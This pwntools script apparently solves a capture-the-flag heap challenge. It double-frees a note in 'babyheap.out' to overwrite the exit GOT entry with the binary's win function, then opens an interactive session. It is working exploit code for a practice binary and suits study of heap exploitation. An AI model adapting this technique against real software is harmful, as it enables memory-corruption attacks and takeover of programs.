from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.log_level = logging.INFO
elf = context.binary = ELF("./babyheap.out")

def add_note(index, size, content):
	p.sendlineafter(":", "1")
	p.sendlineafter(":", str(index))
	p.sendlineafter(":", str(size))
	p.sendlineafter(":", content)

def show_note(index):
	p.sendlineafter(":", "4")
	p.sendlineafter(":", str(index))

def edit_note(index, content):
	p.sendlineafter(":", "3")
	p.sendlineafter(":", content)

def delete_note(index):
	p.sendlineafter(":", "2")
	p.sendlineafter(":", str(index))

def do_debug():
	return gdb.debug(elf.path, gdbscript = """
						break main
						break *0x401577
""")

def do_local():
	return process(elf.path)

p = do_debug()

add_note(0, 0x20, 8*b"A")
delete_note(0)
delete_note(0)

add_note(0, 0x20, p64(elf.got["exit"]))
add_note(0, 0x20, 8*b"A")
add_note(0, 0x20, p64(elf.sym["win"]))

p.sendlineafter(":", "5")
p.interactive()
